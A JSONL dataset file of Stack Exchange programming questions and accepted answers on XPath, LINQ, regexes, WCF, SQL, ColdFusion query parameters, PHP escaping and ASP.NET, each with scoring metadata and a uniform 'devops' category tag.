{"id": "hf_b9f00fbed4e0", "question": "<p>I want to do this:  </p>\n\n<blockquote>\n  <p>//*fu</p>\n</blockquote>\n\n<p>which returns all nodes whose name ends in <strong>fu</strong>, such as <code>&lt;tarfu /&gt;</code> and <code>&lt;snafu /&gt;</code>, but not <code>&lt;fubar /&gt;</code></p>\n", "question_body": "", "answer": "Do something like:\n```\n```\n//*[ends-with(name(), 'fu')]\n```\n```\nFor a good XPath reference, check out\nW3Schools\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.752072"}
{"id": "hf_5e2ca41b9cb2", "question": "<p>I have a list of <code>Foo</code>. Foo has properties <code>Bar</code> and <code>Lum</code>. Some <code>Foo</code>s have identical values for <code>Bar</code>. How can I use lambda/linq to group my <code>Foo</code>s by <code>Bar</code> so I can iterate over each grouping's <code>Lum</code>s?</p>\n", "question_body": "", "answer": "```\n```\nvar q = from x in list\n        group x by x.Bar into g\n        select g;\n\nforeach (var group in q)\n{\n    Console.WriteLine(\"Group \" + group.Key);\n    foreach (var item in group)\n    {\n        Console.WriteLine(item.Bar);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.773110"}
{"id": "hf_312608dc6771", "question": "<p>I have a large codebase that targetted Flash 7, with a <em>lot</em> of AS2 classes.  I'm hoping that I'll be able to use Flex for any new projects, but a lot of new stuff in our roadmap is additions to the old code.</p>\n\n<p>The syntax for AS2 and AS3 is generally the same, so I'm starting to wonder how hard it would be to port the current codebase to Flex/AS3.  I know all the UI-related stuff would be iffy (currently the UI is generated at runtime with a lot of createEmptyMovieClip() and attachMovie() stuff), but the UI and controller/model stuff is mostly separated.</p>\n\n<p>Has anyone tried porting a large codebase of AS2 code to AS3?  How difficult is it?  What kinds of pitfalls did you run into?  Any recommendations for approaches to doing this kind of project?</p>\n", "question_body": "", "answer": "Some notable problems I saw when attempting to convert a large number of AS2 classes to AS3:\nPackage naming\n```\n```\nclass your.package.YourClass\n{\n}\n```\n```\nbecomes\n```\n```\npackage your.package\n{\n    class YourClass\n    {\n    }\n}\n```\n```\nImports are required\nYou must explicitly import any outside classes used -- referring to them by their fully qualified name is no longer enough.\nInterface methods can't be labelled 'public'\nThis makes total sense, but AS2 will let you do it so if you have any they'll need to be removed.\nExplicit 'override' keyword\nAny functions that override a parent class function must be declared with the\noverride\nkeyword, much like C#.  Along the same lines, if you have interfaces that extend other interfaces and redeclare functions, those overrides must be removed (again, as with\npublic,\nthis notation didn't make sense anyway but AS2 let you do it).\nAll the Flash builtin stuff changed\nYou alluded to this above, but it's now\nflash.display.MovieClip\ninstead of just\nMovieClip,\nfor example.  There are a lot of specifics in this category, and I didn't get far enough to find them all, but there's going to be a lot of annoyance here.\nConclusion\nI didn't get to work on this conversion to the point of success, but I was able in a matter of hours to write a quick C# tool that handled every aspect of this except the\noverride\nkeyword.  Automating the imports can be tricky -- in my case the packages we use all start with a few root-level packages so they're easy to detect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.807572"}
{"id": "hf_f4503a25b41b", "question": "<p>Looking for a string to pass to String#matches(String) that will match IPv4, and another to match IPv6.</p>\n", "question_body": "", "answer": "```\n```\npublic static final String IPV4_REGEX = \"\\\\A(25[0-5]|2[0-4]\\\\d|[0-1]?\\\\d?\\\\d)(\\\\.(25[0-5]|2[0-4]\\\\d|[0-1]?\\\\d?\\\\d)){3}\\\\z\";\npublic static final String IPV6_HEX4DECCOMPRESSED_REGEX = \"\\\\A((?:[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4})*)?) ::((?:[0-9A-Fa-f]{1,4}:)*)(25[0-5]|2[0-4]\\\\d|[0-1]?\\\\d?\\\\d)(\\\\.(25[0-5]|2[0-4]\\\\d|[0-1]?\\\\d?\\\\d)){3}\\\\z\";\npublic static final String IPV6_6HEX4DEC_REGEX = \"\\\\A((?:[0-9A-Fa-f]{1,4}:){6,6})(25[0-5]|2[0-4]\\\\d|[0-1]?\\\\d?\\\\d)(\\\\.(25[0-5]|2[0-4]\\\\d|[0-1]?\\\\d?\\\\d)){3}\\\\z\";\npublic static final String IPV6_HEXCOMPRESSED_REGEX = \"\\\\A((?:[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4})*)?)::((?:[0-9A-Fa-f]{1,4}(?::[0-9A-Fa-f]{1,4})*)?)\\\\z\";\npublic static final String IPV6_REGEX = \"\\\\A(?:[0-9a-fA-F]{1,4}:){7}[0-9a-fA-F]{1,4}\\\\z\";\n```\n```\nGot these from some blog. Someone good w/ regexes should be able to come up with a single regex for all IPv6 address types.  Actually, I guess you could have a single regex that matches both IPv4 and IPv6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.829000"}
{"id": "hf_e0849f8ab89b", "question": "<p>Have just started using <code>Google Chrome</code>, and noticed in parts of our site, e.g. all the links on the page, are bright red. They should be black with a dotted underline.</p>\n\n<p>Is there some gotcha in <code>WebKit</code> rendering that turns all links red regardless of the style?</p>\n", "question_body": "", "answer": "Have you set a\n```\n:visited\n```\nsetting in your stylesheet?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.850495"}
{"id": "hf_c00c166bcf7e", "question": "<p>I'd like to check if the user input is an email address in JavaScript, before sending it to a server or attempting to send an email to it, to prevent the most basic mistyping. How could I achieve this?</p>\n", "question_body": "", "answer": "JavaScript can match a regular expression:\n```\n```\nemailAddress.match( / some_regex /);\n```\n```\nHere's an\nRFC22\nregular expression for emails:\n```\n```\n^((?>[a-zA-Z\\d!#$%&'*+\\-/=?^_`{|}~]+\\x20*|\"((?=[\\x01-\\x7f])[^\"\\\\]|\\\\[\\x01-\\x7f])*\n\"\\x20*)*(?<angle><))?((?!\\.)(?>\\.?[a-zA-Z\\d!#$%&'*+\\-/=?^_`{|}~]+)+|\"((?=[\\x01-\\x\n7f])[^\"\\\\]|\\\\[\\x01-\\x7f])*\")@(((?!-)[a-zA-Z\\d\\-]+(?<!-)\\.)+[a-zA-Z]{2,}|\\[(((?(?<\n!\\[)\\.)(25[0-5]|2[0-4]\\d|[01]?\\d?\\d)){4}|[a-zA-Z\\d\\-]*[a-zA-Z\\d]:((?=[\\x01-\\x7f])\n[^\\\\\\[\\]]|\\\\[\\x01-\\x7f])+)\\])(?(angle)>)$\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.883643"}
{"id": "hf_59b1f17a7d98", "question": "<p>I have a collection of objects to which I'd like to just add a new property. How do I do that with LINQ?</p>\n", "question_body": "", "answer": "```\n```\nvar a = from i in ObjectCollection select new {i.prop1, i.prop2, i.prop3, ..., newprop = newProperty}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.935174"}
{"id": "hf_9423e34d55b4", "question": "<p>If I have a </p>\n\n<pre><code>&lt;input id=\"uploadFile\" type=\"file\" /&gt;\n</code></pre>\n\n<p>tag, and a submit button, how do I determine, in IE6 (and above) if a file has been selected by the user.</p>\n\n<p>In FF, I just do:</p>\n\n<pre><code>var selected = document.getElementById(\"uploadBox\").files.length &gt; 0;\n</code></pre>\n\n<p>But that doesn't work in IE.</p>\n", "question_body": "", "answer": "This works in IE (and FF, I believe):\n```\n```\nif(document.getElementById(\"uploadBox\").value != \"\") {\n   // you have a file\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:41.983882"}
{"id": "hf_56a6f1fc0aed", "question": "<p>I'm writing my first iPhone app, so I haven't gotten around to figuring out much in the way of debugging.\nEssentially my app displays an image and when touched plays a short sound.\nWhen compiling and building the project in XCode, everything builds successfully, but when the app is run in the iPhone simulator, it crashes.</p>\n\n<p>I get the following error:</p>\n\n<pre><code>Application Specific Information:\niPhone Simulator 1.0 (70), iPhone OS 2.0 (5A331)\n*** Terminating app due to uncaught exception 'NSUnknownKeyException', \nreason: '[&lt;UIView 0x34efd0&gt; setValue:forUndefinedKey:]: this class is not key value \ncoding-compliant for the key kramerImage.'\n</code></pre>\n\n<p>kramerImage here is the image I'm using for the background.</p>\n\n<p>I'm not sure what NSUnknownKeyException means or why the class is not key value coding-compliant for the key.</p>\n", "question_body": "", "answer": "(This isn't really iPhone specific - the same thing will happen in regular Cocoa).\nNSUnknownKeyException is a common error when using\nKey-Value Coding\nto access a key that the object doesn't have.\nThe properties of most Cocoa objects can be accessing directly:\n```\n```\n[@\"hello world\" length]    // Objective-C 1.0\n@\"hello world\".length      // Objective-C 2.0\n```\n```\nOr via Key-Value Coding:\n```\n```\n[@\"hello world\" valueForKey:@\"length\"]\n```\n```\nI would get an NSUnknownKeyException if I used the following line:\n```\n```\n[@\"hello world\" valueForKey:@\"purpleMonkeyDishwasher\"]\n```\n```\nbecause NSString does not have a property (key) called 'purpleMonkeyDishwasher'.\nSomething in your code is trying to set a value for the key 'kramerImage' on an UIView, which (apparently) doesn't support that key.  If you're using Interface Builder, it might be something in your nib.\nFind where 'kramerImage' is being used, and try to track it down from there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.013390"}
{"id": "hf_db5f64979d5a", "question": "<p>We have an encryption service that we've exposed over net. tcp. Most of the time, the service is used to encrypt/decrypt strings. However, every now and then, we the need to encrypt large documents (pdf, JPG, bmp, etc.).</p>\n\n<p>What are the best endpoint settings for a scenario like this? Should I accept/return a stream? I've read a lot about this, but no one gives guidance on what to do when the large file doesn't occur frequently.</p>\n", "question_body": "", "answer": "One pattern you could follow is to have an asynchronous service that works on files on a shared file system location:\nPlace the file to be encrypted on a shared location\nCall the service and tell it to encrypt the file, passing both the location and name of the file, and the addres of a callback service on the client\nThe service would encrypt the file and place the encrypted copy in a shared location (the same as where the unencrypted was placed or different, doesn't matter)\nThe service would call back to the client, giving the name and location of the encrypted file\nThe client can retrieve the encrypted file", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.069236"}
{"id": "hf_6eb5fafd68a2", "question": "<p>We have a service that has some settings that are supported only over net.tcp. What's the best way to add another endpoint? Do I need to create an entire new host?</p>\n", "question_body": "", "answer": "A service may have multiple endpoints within a single host, but every endpoint must have a unique combination of address, binding and contract. For an IIS-hosted service (that is, an .SVC file), just set the address of the endpoint to a\nrelative\nURI and make sure that your Visual Studio or wsdl.exe generated client specifies the endpoint's name in its constructor.\nSee also the MSDN article\nMultiple Endpoints\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.127414"}
{"id": "hf_897ea68c95c9", "question": "<p>I am writing a webapp using CodeIgniter that requires authentication. I created a model which handles all my authentication. However, I can't find a way to access this authentication model from inside another model. Is there a way to access a model from inside another mode, or a better way to handle authentication inside CodeIgniter?</p>\n", "question_body": "", "answer": "In general, you don't want to create objects inside an object. That's a bad habit, instead, write a clear API and inject a model into your model.\n```\n```\n<?php\n// in your controller\n$model1 = new Model1();\n$model2 = new Model2();\n$model2->setWhatever($model1);\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.212037"}
{"id": "hf_25680b2ab42f", "question": "<p>I'm trying to perform a SQL query through a linked SSAS server.  The initial query works fine:</p>\n\n<pre><code>SELECT \"Ugly OLAP name\" as \"Value\" \nFROM OpenQuery( OLAP, 'OLAP Query')\n</code></pre>\n\n<p>But if I try to add:</p>\n\n<pre><code>WHERE \"Value\" &gt; 0\n</code></pre>\n\n<p>I get an error</p>\n\n<blockquote>\n  <p>Invalid column name 'Value'</p>\n</blockquote>\n\n<p>Any ideas what I might be doing wrong?</p>\n\n<hr>\n\n<p>So the problem was that the order in which elements of the query are processed are different that the order they are written.  According to this source:</p>\n\n<p><a href=\"http://blogs.x2line.com/al/archive/2007/06/30/3187.aspx\" rel=\"noreferrer\">http://blogs.x2line.com/al/archive/2007/06/30/3187.aspx</a></p>\n\n<p>The order of evaluation in MSSQL is:</p>\n\n<ol>\n<li>FROM</li>\n<li>ON</li>\n<li>JOIN</li>\n<li>WHERE</li>\n<li>GROUP BY</li>\n<li>HAVING</li>\n<li>SELECT</li>\n<li>ORDER BY</li>\n</ol>\n\n<p>So the alias wasn't processed until after the WHERE and HAVING clauses.</p>\n", "question_body": "", "answer": "Oh, bummer. I just saw, you select AS FOO. Don't you need a HAVING claus in this case?\n```\n```\nSELECT whatever AS value FROM table HAVING value > 1;\n```\n```\nI still would not use \"value\". But to be sure, look it up in your docs!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.270709"}
{"id": "hf_784856767dd4", "question": "<p>What is the syntax for placing constraints on multiple types?  The basic example:</p>\n\n<pre><code>class Animal&lt;SpeciesType&gt; where SpeciesType : Species\n</code></pre>\n\n<p>I would like to place constraints on both types in the following definition such that <code>SpeciesType</code> must inherit from <code>Species</code> and <code>OrderType</code> must inherit from <code>Order</code>:</p>\n\n<pre><code>class Animal&lt;SpeciesType, OrderType&gt;\n</code></pre>\n", "question_body": "", "answer": "```\n```\npublic class Animal<SpeciesType,OrderType>\n    where SpeciesType : Species\n    where OrderType : Order\n{\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.318230"}
{"id": "hf_e6fb1bfed8b6", "question": "<p>What's the best way to delete all rows from a table in sql but to keep n number of rows on the top?  </p>\n", "question_body": "", "answer": "```\n```\nDELETE FROM Table WHERE ID NOT IN (SELECT TOP 10 ID FROM Table)\n```\n```\nEdit:\nChris brings up a good performance hit since the TOP 10 query would be run for each row. If this is a one time thing, then it may not be as big of a deal, but if it is a common thing, then I did look closer at it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.354287"}
{"id": "hf_6c48b4410b74", "question": "<p>I have a function that gets x(a value) and xs(a list) and removes all values that are bigger than x from the list. Well it doesn't work, can you tell me why?</p>\n\n<pre><code>(defun biggerElems(x xs) \n  (let ((xst))\n    (dolist (elem xs)\n      (if (&gt; x elem)\n          (setf xst (remove elem xs))))\n    xst))\n</code></pre>\n", "question_body": "", "answer": "I think it's this line that's not right:\n```\n```\n(setf xst (remove elem xs))))\n```\n```\nThe first argument to\n```\nsetf\n```\nis the place, followed by the value.  It looks like you have it backwards (and\n```\nxst\n```\nis either\n```\nnil\n```\nor uninitialized).\nYou might find it easier to do this:\n```\n```\n(defun biggerElems (x xs)\n  (remove-if (lambda (item) (> item x)) xs))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.425396"}
{"id": "hf_9b0d0afd16a5", "question": "<p>I have ms sql databases that grow very large. Upon examination I find that there is a bunch of unused space in certain tables. I don't do many physical deletes, so I don't think that its just deleted records. DBCC SHRINK doesn't make the file smaller. But, if I dump the table to a new, empty database, the size goes down about 80%. Instead of the 7gb I have in this table in the current database, I end up with about 1.5gb in the fresh database. Its as if sql server is allocating too much memory. Anyone encountered this before? I'd like to be able to shrink the table by removing unused allocated space without having to create a whole new database.</p>\n\n<p>Additional information:</p>\n\n<p>Full recovery model used. I'll try rebuilding the indexes, i think its been a while. ldf's are shrunk daily using some wacky stored proc that truncates them.</p>\n", "question_body": "", "answer": "In the options, you can specify how much you want to grow by. By default i believe it's 10%, so given a 200MB database, when you fill your last page, it will allocate another 20MB of page space. At 7GB it would allocate 700MB.\nI don't know exactly where you can modify it after you create a db, but i know it has it when you create the db. a little google work will most likely reveal the answer to you.\nNOTE: my answer is not how to fix it, but maybe how to prevent / explain why you might see all this unallocated space.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.449582"}
{"id": "hf_9047858f148e", "question": "<p>I am working on a simple chat application using a System.Windows.Forms.WebBrowser Control to display the messages between the user and the recipient. How do I get the control to automatically scroll to the bottom every time I update the DocumentText of the control?</p>\n", "question_body": "", "answer": "I would use the AutoScrollOffset property and set it the the bottom left of the WebBrowser control, so something like:\n```\n```\nwebCtrl.AutoScrollOffset = new Point(0, webCtrl.Height);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.476951"}
{"id": "hf_03fe82cabf1c", "question": "<p>Is there an easy way to read an entire Access file (.mdb) into a DataSet in .NET (specifically C# or VB)?</p>\n\n<p>Or at least to get a list of tables from an access file so that I can loop through it and add them one at a time into a DataSet?</p>\n", "question_body": "", "answer": "You should be able to access it using an\nOleDbConnection\n.\nHeres\na tut on DB access using it for MS Access files.\nIn terms of getting the table names, back in my VB6 days I always used ADOX, not sure how they do this in .NET now.. Although I know there is a system table in the access file - wanna say \"mso...\". I google!\nEDIT\nAh ha!\nmsysobjects\n!! xD", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.501760"}
{"id": "hf_657f89e4e894", "question": "<p>What are the differences between <code>htmlspecialchars()</code> and <code>htmlentities()</code>. When should I use one or the other?</p>\n", "question_body": "", "answer": "From the PHP documentation for\nhtmlentities\n:\nThis function is identical to\n```\nhtmlspecialchars()\n```\nin all ways, except with\n```\nhtmlentities()\n```\n, all characters which have HTML character entity equivalents are translated into these entities.\nFrom the PHP documentation for\nhtmlspecialchars\n:\nCertain characters have special significance in HTML, and should be represented by HTML entities if they are to preserve their meanings. This function returns a string with some of these conversions made; the translations made are those most useful for everyday web programming. If you require all HTML character entities to be translated, use\n```\nhtmlentities()\n```\ninstead.\nThe difference is what gets encoded. The choices are everything (entities) or \"special\" characters, like ampersand, double and single quotes, less than, and greater than (specialchars).\nI prefer to use\n```\nhtmlspecialchars\n```\nwhenever possible.\nFor example:\n```\n```\necho htmlentities('<Il était une fois un être>.');\n    // Output: &lt;Il &eacute;tait une fois un &ecirc;tre&gt;.\n    //                ^^^^^^^^                 ^^^^^^^\n\n    echo htmlspecialchars('<Il était une fois un être>.');\n    // Output: &lt;Il était une fois un être&gt;.\n    //                ^                 ^\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.526229"}
{"id": "hf_fac1cf96cd69", "question": "<p>In my web application I include all of my JavaScripts as js files that are embedded resources in the assembly, and add them to the page using <code>ClientScriptManager.GetWebResourceUrl()</code>. However, in some of my js files, I have references to other static assets like image urls. I would like to make those assembly resources as well. Is there a way to tokenize the reference to the resource? e.g.</p>\n\n<pre><code>this.drophint = document.createElement('img');\nthis.drophint.src = '/_layouts/images/dragdrophint.gif';\n</code></pre>\n\n<p>Could become something like:</p>\n\n<pre><code>this.drophint = document.createElement('img');\nthis.drophint.src = '{resource:assembly.location.dragdrophint.gif}';\n</code></pre>\n", "question_body": "", "answer": "I'd suggest that you emit the web resources as a dynamic javascript associative array.\nServer side code:\n```\n```\nStringBuilder script = new StringBuilder();\nscript.Append(\"var imgResources = {};\");\nscript.AppendFormat(\"imgResources['{0}'] = '{1}';\", \n    \"drophint\", \n    Page.ClientScript.GetWebResourceUrl(Page.GetType(), \"assembly.location.dragdrophint.gif\"));\nscript.AppendFormat(\"imgResources['{0}'] = '{1}';\", \n    \"anotherimg\", \n    Page.ClientScript.GetWebResourceUrl(Page.GetType(), \"assembly.location.anotherimg.gif\"));\n\nPage.ClientScript.RegisterClientScriptBlock(\n    Page.GetType(),\n    \"imgResources\",\n    script.ToString(), \n    true);\n```\n```\nThen your client side code looks like this:\n```\n```\nthis.drophint = document.createElement('img');\nthis.drophint.src = imgResources['drophint'];\nthis.anotherimg = document.createElement('img');\nthis.anotherimg.src = imgResources['anotherimg'];\n```\n```\nHope this helps.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.568574"}
{"id": "hf_fd5ef9c38de6", "question": "<p>Name the design considerations in deciding between use of a <a href=\"http://en.wikipedia.org/wiki/Singleton_pattern\" rel=\"noreferrer\">singleton</a> versus a static class. In doing this, you're kind of forced to contrast the two, so whatever contrasts you can come up with are also useful in showing your thought process! Also, every interviewer likes to see illustrative examples. :)</p>\n", "question_body": "", "answer": "When the single class needs state.  Singletons maintain a global state, static classes do not.\nFor instance, making a helper around a registry class:  If you have  changable hive (HKey Current User vs. HKEY Local Machine) you could go:\n```\n```\nRegistryEditor editor = RegistryEditor.GetInstance();\neditor.Hive = LocalMachine\n```\n```\nNow any further calls to that singleton will operate on the Local Machine hive.  Otherwise, using a static class, you would have to specify that Local Machine hive everytiem, or have a method like\n```\nReadSubkeyFromLocalMachine\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.666577"}
{"id": "hf_a131bd242ec2", "question": "<p>I have been tasked with going through a number of ColdFusion sites that have recently been the subject of a rather nasty SQL Injection attack.  Basically my work involves adding <code>&lt;cfqueryparam</code>> tags to all of the inline sql.  For the most part I've got it down, but can anybody tell me how to use cfqueryparam with the LIKE operator?</p>\n\n<p>If my query looks like this:</p>\n\n<pre><code>select * from Foo where name like '%Bob%'\n</code></pre>\n\n<p>what should my <code>&lt;cfqueryparam</code>> tag look like?</p>\n", "question_body": "", "answer": "@Joel, I have to disagree.\n```\n```\nselect a,b,c\nfrom Foo\nwhere name like <cfqueryparam cfsqltype=\"columnType\" value=\"%#variables.someName#%\" />\n```\n```\nNever suggest to someone that they should \"select star.\" Bad form! Even for an example! (Even copied from the question!)\nThe query is pre-compiled and you should include the wild card character(s) as part of the parameter being passed to the query. This format is more readable and will run more efficiently.\nWhen doing string concatenation, use the ampersand operator (&), not the plus sign. Technically, in most cases, plus will work just fine... until you throw a NumberFormat() in the middle of the string and start wondering why you're being told that you're not passing a valid number when you've checked and you are.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.715094"}
{"id": "hf_76eed4db8d2c", "question": "<p>Looking at what's running and nothing jumps out. </p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "It should be w3wp.exe\nEDIT: In line with Darren's comment, you should also check the \"Show processes from all users\" in Task Manager if that is where you are looking for the process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.739454"}
{"id": "hf_fa44931c27f5", "question": "<p>What's the best way to copy a file from a network share to the local file system using a Windows batch file?  Normally, I would use \"net use *\" but using this approach how can I get the drive letter?</p>\n", "question_body": "", "answer": "Can you just use the full UNC path to the file?\n```\n```\ncopy \\\\myserver\\myshare\\myfolder\\myfile.txt c:\\myfiles\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.824802"}
{"id": "hf_1d9917d2582d", "question": "<p>just wondering if anyone knows of a truly restful Put/delete implementation asp.net mvc preview 5 preferably.</p>\n", "question_body": "", "answer": "I don't know of one off the top of my head, but you might look into the way that Rails handles it if you don't find anything else, and try porting it over. Rails utilizes POST, GET, PUT, and DELETE, but it apparently has to do some fakery for PUT. Could be worth looking into if you come up dry here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.860385"}
{"id": "hf_0fd739e59c51", "question": "<p>Is there a tool that allows one to monitor GDI calls?</p>\n", "question_body": "", "answer": "Tools like\nAutomatedQA AQTime\ncan help you diagnose GDI usage. A much simpler, but free tool one can be found\nhere\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:42.940962"}
{"id": "hf_0f78123e0c0a", "question": "<p>I'm just curious how most people make their ASP.NET pages printer-friendly? Do you create a separate printer-friendly version of the ASPX page, use CSS or something else? How do you handle situations like page breaks and wide tables?</p>\n\n<p>Is there one elegant solution that works for the majority of the cases? </p>\n", "question_body": "", "answer": "You basically make another CSS file that hide things or gives simpler \"printer-friendly\" style to things then add that with a\n```\nmedia=\"print\"\n```\nso that it only applies to print media (when it is printed)\n```\n```\n<link rel=\"stylesheet\" type=\"text/css\" media=\"print\" href=\"print.css\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.000704"}
{"id": "hf_c2cd19df1499", "question": "<p>I have a regex call that I need help with.</p>\n\n<p>I haven't posted my regex, because it is not relevant here.\nWhat I want to be able to do is, during the Replace, I also want to modify the ${test} portion by doing a Html.Encode on the entire text that is effecting the regex.</p>\n\n<p>Basically, wrap the entire text that is within the range of the regex with the bold tag, but also Html.Encode the text inbetween the bold tag.</p>\n\n<pre><code>RegexOptions regexOptions = RegexOptions.Compiled | RegexOptions.IgnoreCase;\ntext = Regex.Replace(text, regexBold, @\"&lt;b&gt;${text}&lt;/b&gt;\", regexOptions);\n</code></pre>\n", "question_body": "", "answer": "Don't use Regex.Replace in this case...  use..\n```\n```\nforeach(Match in Regex.Matches(...))\n{\n    //do your stuff here\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:43.024348"}
